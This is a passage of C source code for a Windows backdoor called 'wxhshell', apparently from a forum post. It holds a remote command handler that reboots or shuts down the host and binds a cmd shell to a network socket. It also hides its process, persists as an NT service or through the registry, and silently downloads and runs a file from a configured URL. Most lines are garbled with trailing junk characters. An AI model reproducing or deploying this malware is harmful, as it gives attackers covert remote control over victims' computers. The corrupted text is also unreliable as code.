  else { F iZe4{(p  
-YF]k}|  
    switch(cmd[0]) { w +QXSa_D  
  ^_6.*Mvx  
  // 帮助 sEpY&6*  
  case '?': { Eiqx1ZM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Igowz7  
    break; Z`L-UQJ .  
  } huj 6Ysr  
  // 安装 "~ 1:7{k  
  case 'i': { #r\,oXTm  
    if(Install()) q~*9A-MH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T%{qwZc+mJ  
    else `Sh#> Jp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ElJM. a  
    break; ~p9nAACU  
    } !q:[$g-@q  
  // 卸载 vM_UF{a$=  
  case 'r': { LxWnPi ^  
    if(Uninstall()) $a^YJY^_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  V6opV&  
    else nVkPYeeT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }m!L2iK4qk  
    break; q)Qd+:a7{  
    } &e2|]C4  
  // 显示 wxhshell 所在路径 Q\WH2CK  
  case 'p': { ~s#vP<QHa  
    char svExeFile[MAX_PATH]; wR)U&da`@  
    strcpy(svExeFile,"\n\r"); b`?$;5  
      strcat(svExeFile,ExeFile); oMM+af  
        send(wsh,svExeFile,strlen(svExeFile),0); +;Yd<~!c Z  
    break; <g/Z(<{wor  
    } y~,mIM$[@  
  // 重启 YVcFCl  
  case 'b': { u\LbPk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *G'R+_tdE  
    if(Boot(REBOOT)) vuL;P"F4&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g^ @9SU  
    else { !Ee#jCXS  
    closesocket(wsh); *V@>E2@  
    ExitThread(0); _gAU`aO^  
    } " 3ryp A  
    break; xvx5@lx  
    } "eqNd"~  
  // 关机 dj>ZHdTn  
  case 'd': { ,ALEfepo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,;RAPT4  
    if(Boot(SHUTDOWN)) :Q~Rb<']{x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }vp pn=[Y  
    else { \6]Uj+  
    closesocket(wsh); 9$]I3k  
    ExitThread(0); ccUI\!TD{/  
    } Y9YE:s  
    break; T7F)'Mx<  
    } ??X3teO{  
  // 获取shell IP#w  
  case 's': { X\\c=[#8-  
    CmdShell(wsh); 0keqtr  
    closesocket(wsh); 2P&KU%D)0s  
    ExitThread(0); J|$(O$hYy  
    break; =f FTi1]/h  
  } y7iHB k"^:  
  // 退出 $2tPqZ>  
  case 'x': { n U0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -SyQ`V)T7N  
    CloseIt(wsh); tc.`P]R   
    break; # Uc0 W  
    } BWtGeaW/sr  
  // 离开 U|[+M@F_L  
  case 'q': { ^p@R!228  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |j?iD  
    closesocket(wsh); uA`EJ )d  
    WSACleanup(); G54,`uz2  
    exit(1); n@`D:;?{  
    break; <i<[TPv";  
        } #CRAQ#:45(  
  } V_1'` F  
  } !(%^Tg=  
m+jW+  
  // 提示信息 Cf~H9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pwu8LQ3b{O  
} !YM;5vte+  
  } #$W bYL|  
\Z?.Po`!j  
  return; DK\Ud6w  
} *x0nAo_n  
am+'j5`Ys  
// shell模块句柄 N:4oVi@Je  
int CmdShell(SOCKET sock) P#gY-k&Nr  
{ TbK;_pg  
STARTUPINFO si; [{K   
ZeroMemory(&si,sizeof(si)); ( E8(np  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZUkrJ'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e*nT+Rp  
PROCESS_INFORMATION ProcessInfo; .u<i<S  
char cmdline[]="cmd"; cH== OM7&-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MfJs?N0  
  return 0; @Czj] t`  
} .aA 8'/  
4>JDo,AWy  
// 自身启动模式 D&)w =qIu  
int StartFromService(void) |i/Iv  
{ |I0O|Zdv  
typedef struct q?9x0L  
{ RV%aFI )  
  DWORD ExitStatus; :!fP~(R'm  
  DWORD PebBaseAddress; |FR'?y1  
  DWORD AffinityMask; L`iC?<}  
  DWORD BasePriority; O8!> t7x  
  ULONG UniqueProcessId; t;^NgkP{$  
  ULONG InheritedFromUniqueProcessId; JA")L0a_  
}   PROCESS_BASIC_INFORMATION; #z( JYw,  
x)^/3  
PROCNTQSIP NtQueryInformationProcess; u U|fCwQt  
Z'u:Em  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )P)Zds@F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \G+uK:PC,  
+nLsiC{&  
  HANDLE             hProcess; RhL!Z z  
  PROCESS_BASIC_INFORMATION pbi; Vm3e6Y,K  
c:$W5j('Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `S&$y4|Vs  
  if(NULL == hInst ) return 0; |Z"5zL10  
@2Spfj_e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CO)BF%?B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =P,h5J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^")SU(`  
bOY<C%;C  
  if (!NtQueryInformationProcess) return 0; P S$6`6G  
p!XB\%sv'"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dxz.%a@PW  
  if(!hProcess) return 0; eM>f#M  
Gtyy^tz[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QcXqMx  
,hggmzA~  
  CloseHandle(hProcess); N~Kl{" >`  
SL j2/B0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  {[i 37DN  
if(hProcess==NULL) return 0; fw[Z7`\Q5  
8M"0o}wx  
HMODULE hMod; >f !  
char procName[255]; -0tHc=\u(  
unsigned long cbNeeded; b }^ylm  
*8a8Ng  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H*h7Y*([  
+OM9v3qJ  
  CloseHandle(hProcess); 5LIbHSK  
gM5`UH|  
if(strstr(procName,"services")) return 1; // 以服务启动 e 1 yvvi  
(F wWyt  
  return 0; // 注册表启动 2a\?Q|1C  
} ;q3"XLV(T[  
P:p@Iep  
// 主模块 &4m\``//9  
int StartWxhshell(LPSTR lpCmdLine) ,g"[7Za  
{ O.9r'n4f  
  SOCKET wsl; j9bn|p$DA  
BOOL val=TRUE; ,rC$~ &  
  int port=0; BS6UXAf{|Z  
  struct sockaddr_in door; IpRdGT02  
]P5|V4FXo  
  if(wscfg.ws_autoins) Install(); ]csfK${  
*yDsK+[_  
port=atoi(lpCmdLine); H J8rb  
{dbPMx  
if(port<=0) port=wscfg.ws_port; U6B-{l:W  
i8kyYMPP  
  WSADATA data; /c>@^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =Eh~ wm  
sNF[-,a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;(Xig$k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hm&cRehU  
  door.sin_family = AF_INET; F/QRgXV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @5C!`:f  
  door.sin_port = htons(port); k3w(KH @  
N N1(f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V1 H3}  
closesocket(wsl); 5d4/}o}%"  
return 1; mfI>1W(  
} [ITtg?]F  
R)<PCe`vf  
  if(listen(wsl,2) == INVALID_SOCKET) { E&wz0d;gf  
closesocket(wsl); ^J[r<Dm8F  
return 1; {cW%i:  
} AMm)E  
  Wxhshell(wsl); uxKj7!(#  
  WSACleanup(); 9A-=T>|of  
ISbhC!59  
return 0; '0\v[f{K3G  
,f]GOH  
} Y >83G`*}b  
I|SQhbi  
// 以NT服务方式启动 XEB1%. p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ';\v:dP  
{ &t1Uk[  
DWORD   status = 0; saj%[Gsy  
  DWORD   specificError = 0xfffffff; `F^~*FnR,B  
uE}A-\G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {tN?)~ZQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WqHsf1? N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %+{[%?xh  
  serviceStatus.dwWin32ExitCode     = 0; N1vPY]8  
  serviceStatus.dwServiceSpecificExitCode = 0; k^Gf2%k  
  serviceStatus.dwCheckPoint       = 0; RTJ\|#w  
  serviceStatus.dwWaitHint       = 0; t.ci!#/d  
!qQ B}sAf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &.ilku/  
  if (hServiceStatusHandle==0) return; V=?qU&r<+  
k v>rv37u  
status = GetLastError(); lDV}vuM<4  
  if (status!=NO_ERROR) {?zBc E:  
{ 5xsGSoa+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kz>Bw;R(  
    serviceStatus.dwCheckPoint       = 0; EV$$wrohQ`  
    serviceStatus.dwWaitHint       = 0; jnu!a.H  
    serviceStatus.dwWin32ExitCode     = status; T"tR*2HwSd  
    serviceStatus.dwServiceSpecificExitCode = specificError; $1F$3"k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G 5T{*  
    return; !L=RhMI  
  } +'@j~\>^yJ  
nc.(bb),  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qpCNvhi  
  serviceStatus.dwCheckPoint       = 0; C;EC4n+s  
  serviceStatus.dwWaitHint       = 0; y;r{0lTB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `> :^c  
} Vp.&X 8  
!UV1OU  
// 处理NT服务事件,比如:启动、停止 I\,m6 =q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H E'1Wa0r  
{ ?uBZ"^'  
switch(fdwControl) zBKfaQI,  
{ ?##3E, /"9  
case SERVICE_CONTROL_STOP: ?c;T4@mB  
  serviceStatus.dwWin32ExitCode = 0; ~hk;OB;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E;vF :?|  
  serviceStatus.dwCheckPoint   = 0; G""L1?  
  serviceStatus.dwWaitHint     = 0; +pefk+  
  { Bc!ZHW *&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ; { MK  
  } WA$Ug  
  return; r) SG!;X  
case SERVICE_CONTROL_PAUSE: 8F;f&&L"y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yG ,oSp|  
  break; K4[X P]\jr  
case SERVICE_CONTROL_CONTINUE: WCpCWtmy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A@o:mZ+XN(  
  break; 8=Z]?D=  
case SERVICE_CONTROL_INTERROGATE: 6M/*]jLq4  
  break; UgBD| ~zu  
}; @_L:W1[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wyVQV8+&>  
} A;'*>NS  
&W|r P(  
// 标准应用程序主函数 6iZ:0y0t+6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,e{|[k  
{ A$a>=U|Z8  
kYl')L6  
// 获取操作系统版本 NF0=t}e  
OsIsNt=GetOsVer(); v1m'p:7uGB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w9c^IS  
VGPBD-6)  
  // 从命令行安装 {$ (X,E  
  if(strpbrk(lpCmdLine,"iI")) Install(); n-5@<y^  
rZt7C(FM$7  
  // 下载执行文件 \(.])I>)eh  
if(wscfg.ws_downexe) { @8jc|X<A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2=[deQs  
  WinExec(wscfg.ws_filenam,SW_HIDE); D#pZN,'  
} s&gzv=v  
ifYC&5}SI  
if(!OsIsNt) { ,m08t9F  
// 如果时win9x,隐藏进程并且设置为注册表启动 ee7{5  
HideProc(); B/n/bi8T  
StartWxhshell(lpCmdLine); RhPEda2  
} :9=J=G*  
else Q 6)5*o8n  
  if(StartFromService()) L( B(x>w  
  // 以服务方式启动 33*NgQ;&~'  
  StartServiceCtrlDispatcher(DispatchTable); $h()% C7s  
else p^(gXzW  
  // 普通方式启动 K~MTbdg  
  StartWxhshell(lpCmdLine); .Y^UPxf@  
YcQ3 :i  
return 0; U&\2\z3{  
}
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只看该作者 1 发表于: 2006-10-10
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